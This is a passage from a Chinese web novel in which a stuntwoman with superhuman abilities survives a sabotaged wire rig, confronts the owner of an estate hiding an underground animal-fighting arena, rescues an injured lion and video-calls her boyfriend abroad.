脚下瓦片高频震颤,发出时脆时闷的响动。 最后一跃。 为拍出滞空感,威亚组同时发力垂直拉升数米,待升至顶点时再松绳。 突然,吊车剧烈一晃。 武行负责操控拉绳的一个工作人员,最先意识到手感不对,仿佛力被陡然卸掉了! 抬眼远眺,还没来得及惊呼。 屋上的云媞身形依旧平稳,只用了一瞬,便调整好动作。 即使没了威亚的保护,这个高度也不至于让她自乱阵脚。 况且,她早在刚才飞檐走壁时,就听到了绳索崩断的细微异常,这会儿已经有所准备。 只见她一个侧空翻,找准落脚点后,径直从屋顶一跃而下,猫一样轻盈。 优雅!太优雅了! 旁边围观的工作人员不禁暗自感叹:不愧是媞姐,吊威亚跳下来竟也没有被绳索拖拽的厚重感。 “咔!” 工作人员上前,“云媞老师,辛苦了,我帮您解下锁扣……” “应该不用了。” 云媞瞥了对方一眼,直接走开。 诶?什么意思? 诶!还有地上拖的那几条绳……是什么东西啊! 工作人员正疑惑,对面武行几个师傅急冲冲地跑过来,大喊:“威亚出问题了!云媞没事吧!” 待云媞深藏功与名,径直走出了二里地,在场人员才后知后觉反应过来:卧槽!威亚什么时候断了!- “怎么做事的!都是痴呆吗!这么严重的问题没有提前检查出来?!” 拍摄暂停。 剧组全面排查。 这才发现不止威亚组有问题,道具组也有问题。 许彦青在片场大发脾气。 跟年轻时有的一拼,吓得其他人大气都不敢出。 也不怪他发那么大火,镜头拍完了,人从楼顶跳下来了,断了的绳子还在身上挂着,光是想想都觉后怕。 更别提,许彦青当时听到这个消息赶来时,后背当场冒了身冷汗。 这要不是云媞,换了任何一个人,恐怕都要摔得轻则骨折重则瘫痪,摔断他的职业生涯。 …… “媞媞,你真的没事对吧?” 明娇娇抱着云媞,一脸担忧。 见她神色自若,提起的心才渐渐放下。 也是,在现代社会待久了,差点忘了媞媞的神通广大。 “好久没见许导发飙,还真挺吓人的。” 明娇娇仍对他曾为难小武替云媞耿耿于怀,“要不是看他现在这样子,我甚至都怀疑是不是他做的手脚。” 其实云媞也怀疑过。 但种种迹象表明,并非许彦青所为。 而且,这并不是剧组第一次用道具和威亚技术,然而此前并未发生过意外,很显然,这场谋划是冲她来的。 甚至对方有意让自己意识到,“她被盯上了”- 这场风波后,许彦青给云媞放了一天半的假,让她放松心情、调整心态。 回到家。 爆爆叽叽叫着跳出来迎接。 「麻麻!今天肥来的嚎早!」 它顶着满脑袋的碎叶,就要往云媞身上蹭,被对方无情拎去洗澡。 为了给它打造“家乡”的感觉,黎星言特地在后山移植了几棵热带棕榈树,藤蔓长势惊人,和爆爆一样,丝毫没有远离故土的不适。 这可把爆爆高兴坏了,特别喜欢在树间荡来荡去,每天搞得脏兮 兮的,还不爱洗澡。 “诶,媞妹?回挺早啊。” 穿着围裙的马育铭抱了个食桶匆匆走来,他蹲在在院外的水池一边冲桶,一边说:“那小子洗澡可不老实,不然你先等会,我给小黑喂完食,再帮它洗。” “不用。” 云媞低头看了眼羞涩地用手挡住下半身的爆爆,“还挺乖的。” 顺手摸了摸它湿漉漉的脑袋,爆爆当即扬着软萌的笑容,轻轻顶她的掌心。 云媞可不是好欺负的马育铭,在绝对权威下,鬼精的小家伙哪敢有半点反抗挣脱的念头。 「爆爆醉乖啦!」 马育铭早已看透,佯装生气地瞪了爆爆一眼,随后换鞋进屋,去盛给小黑刚做好的营养餐。 他现在是家里的专业“饲养员兼铲屎官”。 至于这件事,还得从明娇娇生日宴那天说起。 大家当时互说自己的境遇,每个人都走上正常的生活轨迹。 只有站在最边缘的马育铭略显局促,他不好意思说,他连那天穿的西服都是找亲戚借来的。 虽然在黎星言的资助以及热心网友们的众筹下,妻子的手术费用及后续开销都已不成问题,但夫妻俩本分了大半辈子,不可能心安理得接受这些善款。 甚至,马育铭的妻子得知他参加综艺的事后,还将他痛骂一顿,觉得他占了黎小少爷的便宜,“只是帮人搬搬行李这种小事,怎么好意思拿几百万?你疯了吗?” 夫妻俩准备等病情完全稳定下来后,摆个小摊努力赚钱,将那些善款一笔一笔还回去。 他们心里明白,可能一辈子也还不清,但仍要竭尽全力去做。 当然,原本这些,马育铭没打算跟小队任何人说。 是黎星言,他那天主动问:“要不要来我家工作?当爆爆和小黑的专职饲养员。你知道嘛,我马上要出国了,媞媞白天工作也没空,家里佣人都害怕小黑,不敢靠近,想来想去你最合适,它俩也都很喜欢你。” 似乎怕他矢口拒绝,黎星言赶忙提出薪资待遇,“包吃包住,你还可以把你老婆和女儿也接来一起,月薪……八万?不够的话可以再谈。” 他也不知道怎么定价,只好按家里佣人的平均薪资给。 知道黎小少爷有意帮衬自己,但这等高薪又轻松的活把马育铭吓得不敢当面应下,只能先回家和妻子商量。 直到黎星言出国前一天,马育铭才喜气洋洋背着行李前来报道了。 …… 后山。 小黑盘踞在树下,懒洋洋打着盹。 这段时间,它跟吃了膨化剂似的,一天比一天长得……油腻。 从曾经不被森蚺放在眼里的“小辣条”,隐隐有了山地蛇王的气概。 额,肥胖版。 每天吃了躺,躺了吃,连动都懒得动一下,身材可不得横向发展么。 马育铭还丝毫未觉地给它投食。 云媞在一旁和黎星言视频电话。 镜头全给到小黑,“看看你的好大儿,以后改名叫大黑胖子吧。” “哎呦喂!” 黎星言也相当配合,“要不是那对小白眼,我还以为你在给我看新买的抛光纯黑地毯呢!” 可恶的中式父母,躺在人家冰冰凉凉的身上睡大觉,还骑着它到处遛弯时,怎么不说人家胖! 小黑怒了! 怒吃一大口饭!嚼吧嚼吧嚼吧! “别看地毯了,快让我看看你。” 黎星言急不可耐地戳了戳镜头,示意她赶快翻转,“媞宝宝,想死你了!今天怎么这么早就收工啦?” 按照十几个小时的时差,现在华国应该是中午。 他俩一般都在大早上或大晚上视频,大中午还是头一回。 “嗯,导演放了我一天假。” 云媞没有说片场威亚的事故,不动声色岔开话题。 小情侣腻腻歪歪聊着天。 突然,一条来自路之舟的信息弹了出来。 「听说媞媞很喜欢动物,最近有朋友给我推荐了一个私家庄园,里面有很多新奇可爱的动物,有空的话,想一起去看看吗?」 随后,他发来一张实拍照片。 一只草原雄狮怏怏直视着镜头。 云媞的心莫名一紧。 它在向自己求救。 第74章 车越往上开,植被越茂盛。 郁郁葱葱,生气蓬勃。 还未抵达目的地,云媞便感觉到一股扑面而来的灵气。 这里不止那只草原狮,还养了很多猛兽珍禽。 “听说昨天媞媞剧组的威亚出事故了,没事吧?” 忐忑了一路的路之舟,终于鼓起勇气问道。 他像个毛头小子一样,在喜欢的人面前变得畏缩拘谨,幸好一路上云媞都在闭目养神,反倒稍稍缓解了他的尴尬。 不行啊路之舟,在黎星言面前表现的势在必得,怎么在云媞面前就怂了呢! 他暗自给自己打气,脑中反复回想“恩师黎星言”的教诲。 “有事。”云媞睨了他一眼。 路之舟愣住。 不对吧,情报里不是说云媞“旭日披身,如神天降,毫发无伤”吗? 下一秒,那道清泠的声音又道:“有事我还会在这里吗?跟有病似的。” 半晌,路之舟反应过来。 女孩极为自然的吐槽,让他哑然失笑,心底的紧张也霎时荡然无存。 这段时间,他将那档求生综艺从头到尾、一秒不落地看了好几遍,连云媞以前做武替时的新闻及集锦也拷进收藏夹,反复欣赏。 像一个狂热的私生饭。 若说最初,他只是出于对救命恩人的感激和好奇,而萌发的好感。 那么现在,他则是彻底被女孩坚韧顽强的人格魅力所折服。 所以,再次见到云媞时,敬畏和臣服反倒胜过了爱慕。 被她陡然这么一骂,那个高高在上的神祇形象落了地,分明是个毒舌幽默的小姑娘。 “也是,”路之舟静静回望她,温和笑道,“最近似乎的确病得不轻。” 云媞撇开视线。 莫名感觉下一秒他就要被黎星言附身,说出“病名为你”这种话。 “这里是专门养动物的吗?”云媞问。 “也不算是,这是一座私家庄园,老板喜欢豢养猛兽和一些国内少见的小动物,还会在一些特定时段对会员开放,所以还挺受富商明星二代圈子的追捧。” “为什么会有草原狮?”云媞皱眉,“老板从哪儿搞来的?” 路之舟思忖数秒,摇了摇头,“那就不太清楚了,听说老板是个混血儿,可能获得了两国的饲养许可证?不过他很少露面,大家都不知道他长什么样……” 突然,一道震耳欲聋的虎啸响彻山庄。 越野车骤然提速。 坐在后排的云媞和路之舟猝不及防,身子在惯性下猛得前倾。 “嘭!” 路之舟径直撞到椅背,额头瞬间红了一块。 回过神后,他赶忙去看身侧的女孩。 只见她单手前撑,神色如常,与狼狈的自己相比,显得气定神闲。 顺着她的视线望去,车后,一只成年老虎正穷追不舍。 待车驶离领地后,它才停下,晃着尾巴掉头走远。 “原来我那几个朋友说的是真的啊,入山的经典项目。” 路之舟揉了揉额头。 如愿吸引到云媞的目光,他也不卖关子了,当即解释道:“为了给野兽们打造原本的生存环境,这个山庄的房屋占地很少。” “因为不限制动物们自由活动,所以猛兽都有自己的地盘,客人入园必须得乘坐符合规定的越野车,以免闯入它们的地盘时发生意外。” 和国外一些国家公园的Safari形式有些相似。 “养的很用心。看来,老板应该挺喜欢动物的。”路之舟笑道。 云媞没有答话。 ……但愿吧- 车停靠在平坦的草场。 这里坐落着一间木屋。 从外观上看,和稀树草原那间民宿有些像。 露天吧台,几个年轻男人正交谈甚欢。 “之舟,来啦!” 路之舟刚下车,其中一人便看到了,当即挥手。 “这位是……?” 路之舟没说自己会带女伴,圈内好友也没听到他恋爱了的风声,陡然见到云媞,一时有些疑惑。 但待她走近了些,一个打扮浮夸的红发潮男兀地瞪大双眼,“你你你你……” “你怎么?结巴了?”身侧稍成熟些的男人拍了拍他的后脑勺,“见到美女就走不动道的毛病又犯了?” 红发潮男剧烈咳嗽几声,脸都憋红了,“你是媞姐!” 卧槽我女神!补药啊一点也没准备!今天不是我状态最佳的时刻啊啊啊! 此时,另一个戴眼镜的文雅男子也认出了她,“云媞,你好。” 他笑着礼貌伸手,“久仰大名。” 见云媞一脸迟疑,眼镜男弯起眉眼,“你不认识我,不过我经常在黎少朋友圈见到你。” 共友都知道黎星言恋爱了,他也常暗戳戳在朋友圈发女友的背影、剪影等“艺术创作”。 看过综艺的都猜到他女友就是云媞,因此好些人调侃“玩金屋藏娇呢?不敢发正脸是怕老婆被人惦记吗?” 结果某天,不知道他受了什么刺激,突然在朋友圈狂发和云媞的合照。 那甜蜜劲儿,简直酸死人。 听到黎星言的名字,云媞这才挑了挑眉,握手以示回敬。 “我也要我也要!”红发潮男边擦手,边露出八颗白牙,“真没想到会在这里见到女……媞姐!” 他夸张地攥紧被云媞握过的手,做捧心状,“路之舟,太不够意思了啊!带我媞姐来,竟然不提前通知一声,早知道我就再好好拾捣一番了……” “再怎么收拾也白搭,人云媞天天面对黎少那张脸,你这点都不够看的。”眼镜男开玩笑回怼。 听闻这话,路之舟脸色微变,沉声打断这场逐渐跑偏的对话,“你们先玩,我带媞媞逛逛。” 云媞颔首。 望着两人并肩离去的背影,其他三人面面相觑。 不知是谁先“嘶”了一声。 然后现场状况一发不可收拾。 “我就说男人不能太舔吧,现在好了,黎少真成下堂夫了。就是没想到,路之舟竟然是这种人吗,朋友妻不可欺啊……” “黎少这么快被甩了?还是说他要出国才先甩了露水姻缘……” “他甩媞姐?你再说一句?他敢先甩媞姐?给他脸了!” “恕我直言,你这张脸人家也不稀得要……”- 木屋。 像是室内异宠乐园,里面由专人饲养着各式珍稀爬虫类动物和热带濒危鸟类。 甚至比许多国内动物园种类更为丰富。 云媞心不在焉看着,脑中却在想那只草原狮。 刚才驱车几小时,几乎将整个山庄逛遍,也没有找到雄狮踪迹。 重新翻看路之舟发的照片,雄狮所处的环境应该也在室内。 按照他的说法,猛兽一般在庄园外自由活动,只有小型动物才会养在室内。 然而现在,室内室外都没有。 她有心追问,但路之舟显然也是第一次来这儿,并不了解具体情况。 他对动物没有特别喜好,只是为了迎合云媞,才在朋友的倾情推荐下寻到此处。 洗手台水流簌簌。 云媞擦干手,将纸巾扔进暗格。 一抬眼,透过镜子,一个西装革履的外国男人正站在自己身后。 “云女士,我们老板想见你。” …… 弯弯绕绕几个拐角后,走到一堵死墙。 男人径直敲了三下,暗墙自动滑到一侧,门后竟是一间直梯。 云媞挑眉。 原来这个山庄别有洞天。 电梯下行。 幽闭的狭小空间内,两人一前一后、一左一右站成对角线,谁也没有说话。 这是最安全的站法,在双方突发争执时,能够留有足够的空间反应。 看来,男人对云媞充满防备和畏惧。 而云媞…… 淡定盯着对方的脸,纳闷:这人为什么在室内还要戴墨镜。 电梯门霎时打开。 铺天盖地的喧嚣席卷而来,伴随浓郁的血腥气。 看着眼前的场景,云媞瞳孔骤缩,如临大敌般,后背猝然泛起寒意。 这里是一座地下斗兽场。 空荡荡的地面,一只雄狮与一只老虎正在奋力撕咬,染血的獠牙在昏暗中越发凶残可怖。 雄狮在单独作战时,更加谨慎。若非要硬碰硬,在体能和伏击技巧上,狮子可能会落得下方。 此时,一狮一虎陷入僵持阶段。 双方盘踞两侧,甩着尾巴凝神观察,它们都在寻找能一招击溃对方的机会。 狮吼与虎啸,在整个地下空间震颤。 往上看,二层的环形隔间人影幢幢。 时不时有人高举红酒杯,燃着雪茄,站在全景玻璃前观摩狂欢。 云媞被引到包厢时,四面大方的欢呼与尖叫几乎盖过了狮吼。 老虎赢了。 它死死咬住雄狮的脖子,血盆大口中衔满金黄的鬃毛。 “真精彩。” 窗前,异常高大的男人背向而立。 随着他拍手的动作,后背及臂弯隆起的线条将黑色衬衫撑得紧绷。 “来了?” 听到身后动静,男人转身,自然地坐到沙发上,长腿交叠,神色慵懒,“随便坐。” 抬眸之际,浓密的眼睫掀开,露出一对独特的灰蓝色瞳孔。 ……混血儿。 云媞直喇喇地盯着他,“你就是这座山庄的老板?” 男人没有回应她的问题,反而回望数秒,兀地笑了,“这么近距离看,你好像更漂亮了。” “不过,我更好奇的是,你为什么能从那么高的地方轻松跳下来?要不是昨天亲眼见证,倒真挺难相信。” 他露出与自身气场截然不同的孩子气,“怎么做到的?教教我。” 云媞瞬间领会他的话外音,她沉眸,手握成拳,“是你在威亚和道具上动了手脚?” “不用这么戒备,”男人起身,走近,“我只是想确认,你究竟是不是真有那么厉害。幸好,你没有让我失望。” 他高大的身形完全将云媞笼罩起来。 对方体内那股奇怪又纯粹的气息,愈发浓烈。 云媞紧蹙眉头,下意识后退几步。 男人却步步紧逼,一瞬不瞬盯着她的眼睛说:“我叫Vilereus。” “你也可以叫我的中文名字,闻羡。” 第75章 话音未落。 一道凌冽的拳风擦着下颌而来。 动作太过迅捷,始料未及的Vilereus被揍得偏头几寸,踉跄后退。 似乎从未受过这种“特殊关照”,他难以置信地抬手,拭去嘴角渗出的血迹,一向难起波澜的眼眸骤然兴奋。 黎星言的眼睛也经常亮晶晶的,像草原夜空的星子,云媞每每看到都想忍不住亲上几口。 但眼前这个男人,却让她想吐上几口唾沫。 太欠揍了。 云媞微抬后脚,鞋尖轻碾。 几步助跑后,踏着沙发椅背腾空跃起,在男人好整以暇的注视下,一个鞭腿狠狠甩到他脸上。 强劲的后作用力,让Vilereus身形晃动半周,堪堪摔坐到云媞踩过的沙发位置上。 他仰头靠在椅背上,露出酣畅淋漓的笑容。 不知道对方在笑什么,云媞只觉这是一种挑衅。 面无表情走到他身后,她随手拾起酒架上绑酒瓶的丝带,在左手胡 乱缠了两圈。 下一秒,勒住他的脖子,右手拽着绑带的力猝然收紧。 “这是对你昨天行为的回礼。” 丝带崩成一条细线。 胸腔内的空气被挤压在外,濒临窒息,Vilereus喉结艰难滚动,眼底的笑意却丝毫未减。 “Vilereus!那只雄狮暴动……” 包厢门被猛得推开,带云媞过来的那个外国男人行色匆匆,一只脚刚踏进室内,倏地顿住。 幽暗的光线,倾倒的红酒瓶,沙发上仰躺着喘息的老板以及他身后手绑丝带、神色漠然的高挑女子。 似乎打扰了一桩好事。 Arvid微鞠一躬,“抱歉,你们继续。” 云媞随即松手。 她只是想教训一下这个碍眼的混血儿,并非真要他的命。 重获呼吸,Vilereus用手帕掩唇咳嗽几声,体内残留的快感许久后才褪去。 他已经很久没有体会过肾上腺素飙升的刺激,和围猎猛兽、击杀人类、观战斗兽时的感觉都不同,这是一种不见血也能激起的快感。 整个身体都在不受控制的颤栗,短短几秒便达到前所未有的身心愉悦。 Vilereus侧目看向身后的女孩。 这是什么原理?她又是如何做到的? …… 半晌,Arvid才意识到,他俩并不是在玩某种捆绑play。 老板真的差点死在这个女孩手中。 但他的第一反应,不是懊悔自己“救驾来迟”,而是庆幸没有贸然行动。 他太了解Vilereus,对方刚才明显一副玩嗨了爽到了的表情。 虽然听起来有些变态,但Vilereus的确就是这样心理扭曲的人。 他把杀戮当玩乐,不将任何人类和动物的生命放在眼里,包括他自己。 仿佛在严格遵从“丛林法则”,他能欣然接受自己死亡的败局,就像接受自己此前手染无数鲜血的捷报。 “雄狮战败受伤后,医护注射了镇定剂,但是药效好像没起作用,它现在很狂躁……” Arvid神色如常,向他汇报受伤雄狮的身体状况。 作为斗兽场的常驻嘉宾,它曾创造过五连冠的战绩。 最近几次节节败退,Vilereus不仅没“放弃”它,反而屡次救助,提高训练强度,帮它重振草原雄风。 显然,效果差强人意。 电梯下到负二层。 见到来人,雄狮愈发暴怒,即使遍体鳞伤,草原之王的气势依旧不减。 它直直朝Vilereus所在的方向俯冲过来,猛烈撞击着八角笼,示威般张开血盆大口。 几名穿戴完备的医师摇头,摊手以示无可奈何。 “啧,”Vilereus扭头,看向身后的云媞,“它今天状态不佳,你还要看吗?” 男人高大宽阔的身形移开,女孩从阴影中显现。 突然,雄狮停止了嘶吼。 不再反复踱步,焦躁不安的身躯也安定下来。 它兀地趴下身子,用厚实的鬃毛盖住鲜血淋漓的爪子,一双黄棕色的眼眸沉静且温和。 待云媞走近,它喉间的呼噜声愈发明显。 “看来它很喜欢你。” Vilereus笑着刚跨出一步,雄狮瞬间警觉,朝他咧出尖锐的獠牙。 似乎怕这个男人也伤害云媞,它身子猛地前扑,想挡在女孩中间,但它忘了自己仍被关在铁笼子里,脑袋狠狠撞到了围栏上。 Vilereus敛了笑,轻捻指尖。 Arvid心领神会,将铁笼子的高压电开关打开。 几根粘在格栅上的鬃毛,噼里啪啦响了几声,顿时化作灰烬,随后是刺鼻的焦味。 “你做什么!” 云媞怒目圆睁,大声喝道:“关掉!” “你刚才也看到了,它呲我,”Vilereus身子微躬,直视她的眼睛,“残兵败卒,我救了它,非但不感谢我,还吃里扒外,我没杀掉它已经算仁慈了。” 下一秒,他被云媞猛得拽住衣领往下压。 几乎高出两个头的身高差,在这一拽之下,竟堪堪平齐。 “我也没杀掉你。”云媞冷冰冰地说。 言下之意,你也不过是我手下的残兵败卒。 Vilereus的眼眸轻泛涟漪,某种美妙的感觉又卷土重来。 深深凝视女孩数秒,他投降般举起双手,“好吧,既然你喜欢它,可以随时带走。” “昨天的不是见面礼,今天才是。”他笑得意味深长。 很快,铁笼的电被放完。 在大门打开之前,医师匆匆将医疗箱放到云媞脚边,神色紧张地离开危险区域。 在他们眼中,这只雄狮偶尔展现出温顺的一面,只是为了引诱人类靠近,下一瞬它就会露出青面獠牙,将怨恨与怒火全部发泄出来。 此前已经有三四个医护上了它的当,死的死伤的伤,下场惨痛。 这是一只喜怒无常的畜生。 和Vilereus一样。 唯一区别在于,前者被关在笼里尚可掌控,后者游荡在外面为非作歹。 拎起医疗箱,云媞正要打开铁笼大门。 “等等,”Vilereus迟疑数秒,径直抽出Arvid腰间的电棍,递给她,“要是它反击,就用这个。” 他示范着按下按钮,电棍霎时发出荧蓝色的强大电流。 听到滋滋电流声,雄狮条件反射般瑟缩后退。 Arvid暗自挑了挑眉。 按照Vilereus往日性子,说不定是故意将心软的女孩诱骗进笼,然后笑着观赏人狮相斗。 倒没想到,他似乎对眼前这个女孩真的有所不同。 不过,云媞并不领情,冷冷睨了Vilereus一眼,头也不回地走近笼中。 所有人都以为,女孩会被处在躁动期的雄狮撕碎。 几名医护甚至不忍地紧闭双目,生怕见到鲜血与碎肉飞溅的血腥场面。 然而,猛兽暴怒的嘶吼、女孩尖细凄惨的哭喊都未出现。 不可思议的一幕发生了。 雄狮不仅没有暴动,反而在云媞靠近之际,驯顺地低下头,大掌锋利的爪尖尽数收紧。 它呜咽一声,歪着毛绒绒的脑袋,轻轻蹭女孩的衣角。 残血沾染到她的衣上,像做错事的孩子一般,大狮子心虚地拿眼白观察云媞的反应,见她没有半分嫌恶或不耐,它才愉悦地晃起尾巴,缠住她的小腿。 云媞百感交集。 这只狮子显然已经开了智。 或许它在自己身上闻到了熟悉的同类气息,但被人类如此对待,它竟然仍选择信赖作为人类身的自己。 轻叹一口气,云媞半蹲下身,环抱住它的脖子顺毛抚摸。 被老虎撕咬的那块脖颈肉,连着鬃毛和皮肤残缺一块,周围一圈都被血洇透。 正值草原霸主的巅峰期,它就被囚禁在异国的庄园,供富人们观赏玩乐。 身上的旧伤太多,最好的光阴已逝。即使救治得当,它也没办法再回到故土。 与养猴养蛇不同,国内私人合法饲养狮子几乎是不可能的,等待它的最好的归宿,或许只有动物园收编。 感知到云媞低落的情绪,雄狮也怏怏地趴在她的脚边,用牙齿轻轻衔住裤脚。 拍了拍它的头顶,云媞加快消毒上药的动作。 待一切处理完,大狮子已经安静地趴着睡着了。 或许已经很久没有安稳地睡上一个好觉,这么多人在场,在没有注射镇定剂或麻药的情况下,它竟也放松了生理性警惕。 这太匪夷所思了。 所有人都难以置信地望向云媞。 除了Vilereus。 他眼里只有对强者的悦服。 “你刚才说,可以将它作为见面礼送给我,是吗?” 其他人已离场。 现在,偌大的地下室只剩两人一狮。 云媞斩钉截铁地说:“我要带走它。” “请便。” 男人微笑颔首的表情,莫名激起云媞的怒火。 “你从哪里猎到的 草原狮?” "怎么?你也想试试?” Vilereus以为终于遇到志同道合的同类,笑意越发真情实感,“我有一个用作围猎的俱乐部,要加入吗?” 见女孩愈发愤怒,他明白自己会错了意,但脸上依旧挂着玩世不恭的嗤笑,“好吧,回到你上一个问题。” “是在你很熟悉的稀树草原……你不是抓住了两名盗猎者吗?” Vilereus眸光闪烁,“他们的同伴,那两具被野兽啃食的尸体,也是我杀的。” 盗猎者该死。 尽管他猎杀的野生动物,或许并不比盗猎者少。 但在Vilereus的观念中,他并非为了人类俗不可耐的金钱或利益。 相反,他是与那些猛兽同处自然界,旗鼓相当的对手。 对攻、博弈、厮杀,强者生存弱者毁灭,是他赢了,才杀掉它们。 Vilereus也很有“原则”,他从不杀老弱病残的动物,只杀那些强大的、难觅踪迹的顶级掠食者。 甚至他一直尊奉一种理念:只有像他这样强大的对手入侵它们的领地,激发动物们的斗志和野性,才能真正促成优质基因的进化。 “你不赞同我的理念?” Vilereus有些受伤地垂下眼眸,“我以为,我们会是同类。” “不过……” “看你的表情,是又想像刚才那样对待我了吗?” 他脖颈前倾,语气中隐隐带着期待,“来吧。” 第76章 走出地下室时,云媞依旧难掩怒气。 她在外很少笑,但更少生气,大部分时间都淡淡的。 自云媞失联后一直焦急寻找的路之舟,陡然见到她这样,满肚子的疑问默默咽了回去。 事实证明,他有这份眼力见是明智的。 刚出木屋,一辆越野车疾驰停下。 车身上写着「芝盾越野俱乐部」,旁边还画了一个诡异邪性的徽标。 车内下来几个端着猎枪的男人。 “今天运气不佳啊,下次还是请Vilereus带我们去西北那块围猎吧,他很厉害……” 云媞径直走过去,面部表情地夺走其中一个男人的猎枪,朝轮胎打了几枪。 在噗噗漏气的声音中,她用枪托将整个车砸个稀巴烂。 直到车身塌陷,玻璃渣碎了一地,车头也凹得不像样,俱乐部那几人才恍然回神。 看热闹是人的天性,有钱人也不例外。 在场许多人闻声而出,隔岸观火。 “嘿!你踏马干什么呢!” 被砸了车的几人一面真觉得离谱,另一个原因是被那么多人围观丢了面儿。 无缘无故被陌生女人砸车,那人砸完还头也不回地走了,这谁能忍。 几人怒气冲冲追上去,势必要她给出个说法。 这时,一个黑衣男人出手相拦。 几人认出他是常跟在Vilereus身边的助理。 愣了一瞬,他们自觉了然地相视一笑:原来是Vilereus感情债啊,那没事了。 至于Vilereus本人…… 那张宛若艺术品一般的精致面容此时鼻青脸肿,他慵懒地侧躺在沙发上,Arvid正在帮忙上药。 “你明明可以还手,对方不一定打得过你,为什么……” 见Vilereus神色不耐,他顿了顿,“那只狮子真要送给她吗?” “为什么不?” Arvid几乎与他从小一起长大,向来知无不言,“她很危险,可能会对你不利。” Vilereus仍沉浸于被云媞压在身下、狠狠暴揍的快感中,眼神迷离地放空许久,他才慢悠悠地说:“危险的东西,才更有趣,不是吗?”- 暂养狮子不是件小事,当下只有黎星言家有这个条件。 在人类世界生活这么久,云媞已经无法再像最初那般,心安理得地按自己的意志行事。 犹豫半天,等到夜色降临,结束工作的黎冉终于回到家。 云媞才当面跟她商量起这件事。 当然,她隐去前因后果及一些细节,只说是从私人庄园救助的受伤狮子。 黎冉是十分聪明的女人,本以为没那么容易糊弄过去,再不济,她或许也会询问几句。 没曾想,对方在安静听她说完后,递上一杯茶水,笑着说:“媞媞决定就好,我相信你有能力处理好。” 云媞眨了眨眼,不明白她为什么对自己这么宽容。 似乎从一开始,她就如此。 听到小女孩的喃喃低语,黎冉兀地笑了,“也许是因为我们前世有缘?说不定在前世,你就是我的女儿呢?” 见云媞满眼懵懂,黎冉心里越发喜爱,忍不住亲了亲她的额头,再亲昵地捏捏脸颊,“小云媞,不要有任何顾虑,这个世界仍在以你的意志前行。” “是因为黎星言吗?” 云媞以为是因为自己和黎星言在一起,她才会爱屋及乌地对她好。 “就算以后我不和他结婚,你还会喜欢我吗?” 这句话一问出口,云媞就后悔了。 哎,还是没学会人类的半点处事情商。 暗自懊恼之际,只听黎冉一字一句地说:“没有黎星言,你也是我最喜欢的女孩,我的小女儿。” “喜欢你是因为,你就是你,与任何附加的条件,都没有关系。” 这一刻,云媞觉得自己好像变成了那只大狮子,也想用毛绒绒的脑袋在她身上蹭来蹭去,用长长的尾巴紧紧圈住她的小腿。 她隐约明白了豹妈妈最后对自己说的那句话:「只要你想起我一次,就代表我们见了一次面。」 Sinead,妈妈,你结的善果好像在人类世界开花了。 所以,我在这里,也有了妈妈。 “不过……” 黎冉轻抚缩在自己怀中的小女孩的头顶,“若是有空,可以稍微搭理一下远在大洋彼岸的可怜独居男孩?” 她好笑地晃了晃手机,“黎星言给我打了上百个电话,声泪俱下说自己被抛弃了。”- “我没有被抛弃!没有被抛弃!” 黎星言气急败坏发出一条长达59秒的语音,最后放狠话,“媞媞不是你们说的那种人!我们很幸福,再敢在我面前嚼舌根,等着我回国收拾你们吧!” 「黎少黎少,别生气,兄弟们说着玩儿呢!」 「黎少,我们百分百相信嫂子为人啊。但忠言逆耳,路之舟这小子不得不防,你是没看见,他今天带云媞出现在山庄时,那耀武扬威的模样啧啧」 「没错!有图有真相!」 「???谁发的嫂子照片,赶紧撤回。还有,此群禁止提及路之舟。」 …… 照片中,云媞和路之舟并肩站在一起逗异宠的画面太过刺眼。 所以,今天的例行早安问候没有回音,拨出的视频电话屡屡被拒接,一整天联系不到人…… 是因为她正在和路之舟逛私人山庄。 狐朋狗友群的消息一条叠一条地刷屏。 黎星言越看越生气,一怒之下退出了群聊。 整个世界安静了。 眼不见……心也烦! 他们不过就是嫉妒自己有这么优秀的老婆,才假装为他鸣不平、故意煽风点火、破坏他和媞媞之间的感情! 即使媞媞真的和路之舟……退一万步说,这群家伙难道就没错吗!为什么非要跟自己通风报信?这叫他怎么继续装聋作哑? 正是气头上,云媞的视频电话拨了过来。 手比脑快,黎星言瞬间点了接听。 画面一片漆黑,几秒后,随着镜头晃动,隐隐看见熟悉的路灯。 还好还好,是在家里的后山。 黎星言下意识瞟了眼时间,国内晚十一点左右。 他彻底松了口气。 没有打扰媞媞休息。 却完全没意识到,自己因为焦虑不安,已经一晚上没睡觉了。 “媞媞……”黎星言犹豫一瞬,试探道,“今天工作很忙吗?我打了好多电话你都没接……” 那边云媞才调好镜头角度。 其实也不算调角度,不过是从看不到人,调到了能看见人的下巴和鼻孔。 要不是长得漂亮,一般人还真扛不住这个死亡角度。 云媞“嗯”了一声,垂眸看向镜头。 见到云媞,黎星言满肚子的怨气和疑虑顿时消散,满心满眼只剩下她。 “你……不开心吗?” 明明对方还是和以前一样面无表情,但黎星言莫名觉察到云媞情绪不佳。 “是不是因为我给你打了太多电话,惹你心烦了,对不起,我只是、只是太想你了,所以才忍不住……” “不是因为你。”云媞打断他。 尽管明白云媞意思是“不是因为你打了太多电话而不开心”,但黎星言的心依旧一紧,像被人狠狠攥住,难以呼吸。 难道是因为路之舟……媞媞已经开始为他波动情绪了吗? “是因为今天看到了一个神经病变态男,” 云媞满脸嫌恶,“如果杀人不犯法,他一定会死在我手上。” 也不行,嫌手脏。 算了,懒得提这种人。 云媞举起手机,看着黎星言那张赏心悦目的脸蛋,心中突然一片妥帖,“黎星言,我也很想你。” 这种想念,在他刚离开之际是毫无知觉的。 随着时间的推移,身边属于他的气息越来越微渺,能听到他的声音却触摸不到他的肌肤,身体也开始变得寂寞…… 思念才像雨林地表层的苔藓一般,悄无声息地蔓延覆盖了生活的犄角旮旯。 听到云媞亲口说出这四个字,黎星言的所有委屈全没了。 不知道她在骂哪个狗男人不要紧,反正无条件地顺从支持老婆就对了。 黎星言跟着狠狠唾骂一番,然后才弯起眉眼,害羞地摸了摸耳垂,“真的很想我吗?” 云媞笑着点头。 某男还没来得及跳起来欢呼。 只见云媞“咦”了一声,点了点屏幕,“你今天怎么……黑眼圈有些重?头发也……” 话没说完,屏幕那头已经没了人影。 两三分钟后,又一个容光焕发的花美男登场了。 黎星言眼底的乌青神秘消除,头发也打理得一丝不苟,甚至还喷了发胶抓了个造型。 如果隔着网线也能闻到味儿的话,云媞说不定还可以闻到他脖间刚喷的香水。 “忘掉刚才的我吧媞媞,”黎星言眨了眨眼,撒娇般央求道,“看着现在的我,再说一次想我,好吗?” 云媞哑然失笑,“我的意思是,你是不是没有好好睡觉,光顾着给我打电话了。” 